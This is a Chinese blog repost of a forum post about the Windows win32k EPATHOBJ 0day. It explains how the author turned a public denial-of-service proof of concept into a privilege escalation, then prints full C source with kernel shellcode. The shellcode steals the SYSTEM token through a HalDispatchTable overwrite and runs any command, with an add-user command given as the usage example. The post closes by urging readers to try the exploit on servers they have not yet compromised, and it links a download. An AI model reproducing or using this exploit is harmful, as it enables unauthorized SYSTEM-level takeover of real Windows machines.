迟来的6.1礼物——EPATHOBJ 0day exploit

转自 看雪安全论坛 —— 【原创】迟来的6.1礼物 EPATHOBJ 0day exploit ,作者:ProgmBoy

由于为了防止某些童鞋用来干坏事,所以原帖已经把利用代码删掉了,不过下面的内容会比原帖更丰富~(工具下载链接在最后)

Tavis Ormandy 在做压力测试的时候发现的这个漏洞,poc等内容可以在下面两个地址围观:

http://blog.cmpxchg8b.com http://seclists.org/fulldisclosure/2013/May/118

原作者只提供了DOS版的POC代码,需要修改一下才能利用。

1、首先要确保不蓝屏。构造一个新的PATHRECORD,设置其next指针为NULL,flags为PD_BEGINSUBPATH。还要确保MAGIC_DWORD那里可以访问。代码:

ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
ExploitRecordExit->next = NULL;
ExploitRecordExit->next = NULL;
ExploitRecordExit->flags = PD_BEGINSUBPATH;
ExploitRecordExit->count = 0;

2、如何跳到shellcode。根据Tavis给的POC,漏洞属于任意地址写,一个指针,指针的前4个字节可控,后4个字节为可预知的。关键是这个4个字节。填什么呢?只有4字节。push 0, ret。 3字节。 这样就可以跳到0地址了,但是这样不好,win7-win8 0地址不叫分配了。所以考虑别的方法,我使用的是KiDebug以前发的利用代码,覆盖的是HalDispatchTable+4这个地址,然后调用NtQueryIntervalProfile来触发,所以,断到HalDispatchTable+4处发现栈上esp+0x60处为我们调用NtQueryIntervalProfile传进来的参数的地址,好了。我们可以使用 jmp [esp+0x60](4字节)刚好,跳到参数地址处,jmp [esp+0x60]是啥0x602464FF?直接在在可控的4字节填充0x602464FF就好了。测试win7的时候发现KeQueryIntervalProfile变成了fastcall,所以,要变成jmp [esp+0x64]。代码:

DWORD CheckMagicDword()
{
  OSVERSIONINFOEX OSVer;
  DWORD dwMagic = 0;

    OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
    switch(OSVer.dwMajorVersion){
    case 5:
      dwMagic = 0x602464FF;
      break;
    case 6:
      dwMagic = 0x642464FF;
      break;
    default:
      dwMagic = 0;
    }
  }
  return dwMagic;
}

//然后这样填充
ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
ExploitRecordExit->next = NULL;
ExploitRecordExit->next = NULL;
ExploitRecordExit->flags = PD_BEGINSUBPATH;
ExploitRecordExit->count = 0;

ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD;
ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;

3、怎么判断exploit是否成功呢?我直接在shellcode中修改的是NtQueryIntervalProfile的参数。为一个固定值然后来判断NtQueryIntervalProfile的返回值是不是这个值就好了。代码:

    mov eax, [esp+0xc]
    mov DWORD PTR [eax+4], 1
    mov DWORD PTR [eax+8], 0xC0000018
    xor eax, eax

    if (*(PULONG)ShellCode == 0xC0000018){
        bRet = TRUE;
        break;
    }

基本上差不多了,加上Tavis的poc就完全可以构造出exploit来了。

我的编译环境是visual c++ 6.0 sp6

下面是论坛原帖给出的利用代码:

#include <stdio.h>
#include <STDARG.H>
#include <stddef.h>
#include <windows.h>
//#include <ntstatus.h>

#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")

#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000

#pragma comment(linker, "/SECTION:.text,ERW")

//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
//

POINT       Points[MAX_POLYPOINTS];
BYTE        PointTypes[MAX_POLYPOINTS];
HRGN        Regions[MAX_REGIONS];
ULONG       NumRegion = 0;
HANDLE      Mutex;

// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;

VOID LogInit();
VOID LogRelase();
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);

// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH   0x00000001
#define PD_ENDSUBPATH     0x00000002
#define PD_RESETSTYLE     0x00000004
#define PD_CLOSEFIGURE    0x00000008
#define PD_BEZIERS        0x00000010

#define ENABLE_SWITCH_DESKTOP  1

typedef struct  _POINTFIX
{
    ULONG x;
    ULONG y;
} POINTFIX, *PPOINTFIX;

// Approximated from reverse engineering.
typedef struct _PATHRECORD {
    struct _PATHRECORD *next;
    struct _PATHRECORD *prev;
    ULONG               flags;
    ULONG               count;
    POINTFIX            points[4];
} PATHRECORD, *PPATHRECORD;

PPATHRECORD PathRecord;
PATHRECORD  ExploitRecord = {0};
PPATHRECORD ExploitRecordExit;

typedef struct _RTL_PROCESS_MODULE_INFORMATION {
    HANDLE Section;                 // Not filled in
    PVOID MappedBase;
    PVOID ImageBase;
    ULONG ImageSize;
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;
    UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;

typedef struct _RTL_PROCESS_MODULES {
    ULONG NumberOfModules;
    RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;

typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
typedef ULONG ( __stdcall *NtFreeVirtualMemory_)( HANDLE, PVOID, PULONG, ULONG);

NtQueryIntervalProfile_  NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
NtFreeVirtualMemory_ NtFreeVirtualMemory;
ULONG    PsInitialSystemProcess, PsReferencePrimaryToken, 
     PsGetThreadProcess, WriteToHalDispatchTable, FixAddress;

void _declspec(naked) ShellCode()
{
    __asm
    {
      pushad
      pushfd
      mov esi,PsReferencePrimaryToken
FindTokenOffset:
      lodsb
      cmp al, 8Dh;
      jnz FindTokenOffset
      mov edi,[esi+1]
      mov esi,PsInitialSystemProcess
      mov esi,[esi]
      push fs:[124h]
      mov eax,PsGetThreadProcess
      call eax
      add esi, edi
      push esi
      add edi, eax
      movsd

      ;add token ref count.
      pop esi
      mov esi, [esi]
      and esi, 0xFFFFFFF8
      lea eax, [esi-0x18]
      mov DWORD PTR [eax], 0x016B00B5
      ;fix the haltable
      mov eax, WriteToHalDispatchTable
      mov ecx, FixAddress
      mov [ecx], 0xC3
      mov DWORD PTR [eax], ecx

      popfd
      popad
      ;set ret code for NtQueryIntervalProfile
      mov eax, [esp+0xc]
      mov DWORD PTR [eax+4], 1
      mov DWORD PTR [eax+8], 0xC0000018
      xor eax, eax
      ret
    }
}

DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
  //
    // This routine waits for a mutex object to timeout, then patches the
    // compromised linked list to point to an exploit. We need to do this.
    //

  LogMessage(L_INFO, "Watchdog thread %d waiting on Mutex", GetCurrentThreadId());

    if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {

    //
        // It looks like the main thread is stuck in a call to FlattenPath(),
        // because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
        // up, and then patch the list to trigger our exploit.
        //

    while (NumRegion--)
            DeleteObject(Regions[NumRegion]);

        LogMessage(L_ERROR, "InterlockedExchange(0x%08x, 0x%08x);", &PathRecord->next, &ExploitRecord);

        InterlockedExchange((PLONG)&PathRecord->next, (LONG)&ExploitRecord);

    } else {
        LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
    }

    return 0;
}

void wellcome()
{
  printf("\t\tthe win32k.sys EPATHOBJ 0day exploit\n");
  printf("*******************************************************************\n");
  printf("***\texploit by:<progmboy> <programmeboy@gmail.com>\t\t***\n");
  printf("***\t0day finder:<Tavis Ormandy> <taviso@cmpxchg8b.com>\t***\n");
  printf("***\ttested system:xp/2003/win7/2008 (*32bit*)\t\t***\n");
  printf("***\tcode provider:<ghy459> <http://hack0nair.me>\t\t***\n");
  printf("*******************************************************************\n");
}

void usage()
{
  printf("\nusage:\n<app> <cmd> <parameter>\n");
  printf("example:\napp.exe net \"user test test /add\"\n");
}

BOOL 
FindAFixAddress(
  ULONG NtoskrnlBase)
{
  FixAddress = NtoskrnlBase + FIELD_OFFSET(IMAGE_DOS_HEADER, e_res2);
  LogMessage(L_INFO, "Get FixAddress --> 0x%08x", FixAddress);
  return TRUE;

}

// 0x602464FF; /*jmp esp+0x60*/
// 0x51C3686A; /*push 0; ret*/
DWORD CheckMagicDword()
{
  OSVERSIONINFOEX OSVer;
  DWORD dwMagic = 0;

    OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
    switch(OSVer.dwMajorVersion){
    case 5:
      dwMagic = 0x602464FF;
      break;
    case 6:
      dwMagic = 0x642464FF;
      break;
    default:
      dwMagic = 0;
    }
  }
  return dwMagic;
}

int main(int argc, char **argv)
{
    HANDLE      Thread;
    HDC         Device;
    ULONG       Size;
    ULONG       PointNum;
  int nret = 0;

  DWORD MAGIC_DWORD = CheckMagicDword();
    ULONG AllocSize = 0x1000, status, NtoskrnlBase;
  RTL_PROCESS_MODULES  module;
  HMODULE ntoskrnl = NULL;
  DWORD dwFix;
  ULONG Address = MAGIC_DWORD & 0xFFFFF000;
  LONG ret;
  BOOL bRet = FALSE;
#ifdef ENABLE_SWITCH_DESKTOP
  HDESK hDesk;
#endif
    HMODULE  ntdll = GetModuleHandle( "ntdll.dll" );

  wellcome();

  if (argc < 2){
    usage();
    return -1;
  }

  if (!MAGIC_DWORD){
    LogMessage(L_ERROR, "unsupported system version\n");
    return -1;
  }

  LogInit();

  NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
    NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
    NtQuerySystemInformation  =  (NtQuerySystemInformation_)GetProcAddress( ntdll ,"NtQuerySystemInformation" );
  NtFreeVirtualMemory =  (NtFreeVirtualMemory_)GetProcAddress( ntdll ,"NtFreeVirtualMemory" );
    if ( !NtQueryIntervalProfile || !NtAllocateVirtualMemory || 
     !NtQuerySystemInformation || !NtFreeVirtualMemory){
    LogMessage(L_ERROR, "get function address error\n");
    LogRelase();
    return -1;
  }

  //
  // try to allocate memory.
  //

  while (TRUE){
    ret = NtAllocateVirtualMemory( (HANDLE)-1, &Address, 0, &AllocSize, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    if(ret < 0){
      MEMORY_BASIC_INFORMATION meminfo;
      LogMessage(L_ERROR, "allocate memory error code 0x%08x", ret);
      LogMessage(L_INFO, "try to free memory");
      if(VirtualQuery((LPVOID)Address, &meminfo, sizeof(meminfo))){
        LogMessage(L_INFO, "meminfo state %d %d\n", meminfo.State, meminfo.Protect);
      }
      ret = NtFreeVirtualMemory((HANDLE)-1, &Address, &AllocSize, MEM_RELEASE);
      if (ret < 0){
        LogMessage(L_ERROR, "free memory error code 0x%08x", ret);
        LogRelase();
        return -1;
      }
    }else{
      break;
    }
  }

  //
  // get the kernel info
  //

    status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
    if ( status != 0xC0000004 ){
    LogMessage(L_ERROR, "NtQuerySystemInformation error code:0x%08x\n", status);
        LogRelase();
    return -1;
  }

    NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;

    //
    // 把ntoskrnl.exe加载进来
    //

    ntoskrnl = LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
    if (ntoskrnl == NULL){
    LogMessage(L_ERROR, "LoadLibraryA error code:0x%08x\n", GetLastError());
        LogRelase();
    return -1;
  }

    //
    // 计算实际地址
    //

    WriteToHalDispatchTable =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4;
    PsInitialSystemProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
    PsReferencePrimaryToken = (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
    PsGetThreadProcess =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;

  if(!FindAFixAddress(NtoskrnlBase)){
    LogMessage(L_ERROR, "Can not Find A Fix Address\n");
    nret = -1;
    goto __end;
  }

  //
    // Create our PATHRECORD in user space we will get added to the EPATHOBJ
    // pathrecord chain.
    //

  PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
                              sizeof(PATHRECORD),
                              MEM_COMMIT | MEM_RESERVE,
                              PAGE_EXECUTE_READWRITE);

    LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);

  //
    // Initialize with recognizable debugging values.
    //

  FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);

    PathRecord->next    = PathRecord;
    PathRecord->prev    = (PPATHRECORD)(0x42424242);

  //
    // You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from
    // EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
    // loop in EPATHOBJ::bFlatten().
    //

  PathRecord->flags   = 0;

    LogMessage(L_INFO, "  ->next  @ %p", PathRecord->next);
    LogMessage(L_INFO, "  ->prev  @ %p", PathRecord->prev);
    LogMessage(L_INFO, "  ->flags @ %u", PathRecord->flags);

  ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
  ExploitRecordExit->next = NULL;
  ExploitRecordExit->next = NULL;
  ExploitRecordExit->flags = PD_BEGINSUBPATH;
  ExploitRecordExit->count = 0;

  ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD;
    ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;
    ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
  ExploitRecord.count = 4;

    LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4);

  //
    // Generate a large number of Belier Curves made up of pointers to our
    // PATHRECORD object.
    //

  for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
        Points[PointNum].x      = (ULONG)(PathRecord) >> 4;
        Points[PointNum].y      = (ULONG)(PathRecord) >> 4;
        PointTypes[PointNum]    = PT_BEZIERTO;
    }

  //
    // Switch to a dedicated desktop so we don't spam the visible desktop with
    // our Lines (Not required, just stops the screen from redrawing slowly).
    //
#ifdef ENABLE_SWITCH_DESKTOP
  hDesk = CreateDesktop( "DontPanic",
              NULL,
              NULL,
              0,
              GENERIC_ALL,
               NULL);
  if (hDesk){
    SetThreadDesktop(hDesk);
  }
#endif

  while (TRUE){

    BOOL bBreak = FALSE;

    Mutex = CreateMutex(NULL, TRUE, NULL);
    if (!Mutex){
      LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
      nret = -1;
      goto __end;
    }

    //
    // Get a handle to this Desktop.
    //

    Device = GetDC(NULL);

    //
    // Spawn a thread to cleanup
    //

    Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);

    LogMessage(L_INFO, "start CreateRoundRectRgn");

    //
    // We need to cause a specific AllocObject() to fail to trigger the
    // exploitable condition. To do this, I create a large number of rounded
    // rectangular regions until they start failing. I don't think it matters
    // what you use to exhaust paged memory, there is probably a better way.
    //
    // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
    // failure. Seriously, do some damn QA Microsoft, wtf.
    //

    for (Size = 1 << 26; Size; Size >>= 1) {
      while (TRUE){
        HRGN hm = CreateRoundRectRgn(0, 0, 1, Size, 1, 1);
        if (!hm){
          break;
        }
        if (NumRegion < MAX_REGIONS){
          Regions[NumRegion] = hm;
          NumRegion++;
        }else{
          NumRegion = 0;
        }
      }
    }

    LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);

    LogMessage(L_INFO, "Flattening curves...");

    //
    // Begin filling the free list with our points.
    //

    dwFix = *(PULONG)ShellCode;

    for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
      BeginPath(Device);
      PolyDraw(Device, Points, PointTypes, PointNum);
      EndPath(Device);
      FlattenPath(Device);
      FlattenPath(Device);

      //
      // call the function to exploit.
      //

      ret = NtQueryIntervalProfile(2, (PULONG)ShellCode);

      //
      // we will set the status with 0xC0000018 in ring0 shellcode.
      //

      if (*(PULONG)ShellCode == 0xC0000018){
        bRet = TRUE;
        break;
      }

      //
      // fix
      //

      *(PULONG)ShellCode = dwFix;

      EndPath(Device);
    }

    if (bRet){
      LogMessage(L_INFO, "Exploit ok run command");
      ShellExecute( NULL, "open", argv[1], argc > 2 ? argv[2] : NULL, NULL, SW_SHOW);
      bBreak = TRUE;
    }else{
      LogMessage(L_INFO, "No luck, cleaning up. and try again..");
    }

    //
    // If we reach here, we didn't trigger the condition. Let the other thread know.
    //

    ReleaseMutex(Mutex);

    ReleaseDC(NULL, Device);
    WaitForSingleObject(Thread, INFINITE);

    if (bBreak){
      break;
    }

  }
__end:
  LogRelase();
  if (ntoskrnl)
    FreeLibrary(ntoskrnl);
#ifdef ENABLE_SWITCH_DESKTOP
  if (hDesk){
    CloseHandle(hDesk);
  }
#endif
    return nret;
}

CRITICAL_SECTION gCSection;

VOID LogInit()
{
  InitializeCriticalSection(&gCSection);
}

VOID LogRelase()
{
  DeleteCriticalSection(&gCSection);
}

//
// A quick logging routine for debug messages.
//

BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
    CHAR Buffer[1024] = {0};
    va_list Args;

  EnterCriticalSection(&gCSection);

    va_start(Args, Format);
    _snprintf(Buffer, sizeof(Buffer), Format, Args);
    va_end(Args);

    switch (Level) {
        case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
        case L_INFO:  fprintf(stdout, "[+] %s\n", Buffer); break;
        case L_WARN:  fprintf(stderr, "[*] %s\n", Buffer); break;
        case L_ERROR: fprintf(stderr, "[!] %s\n", Buffer); break;
    }

    fflush(stdout);
    fflush(stderr);

  LeaveCriticalSection(&gCSection);

    return TRUE;
}

测试截图:

on winxp sp2  :

winxp

on win2003 sp2 :

2003

on win7:

win7

感觉这个exp不太稳定,03下各种自动关闭,xp下也是2~3次才有一次成功,期待更好的exp

手头上有没拿下的服务器,都可以用这个试试哦~但服务器很可以因此跪掉= =

exp下载

« 返回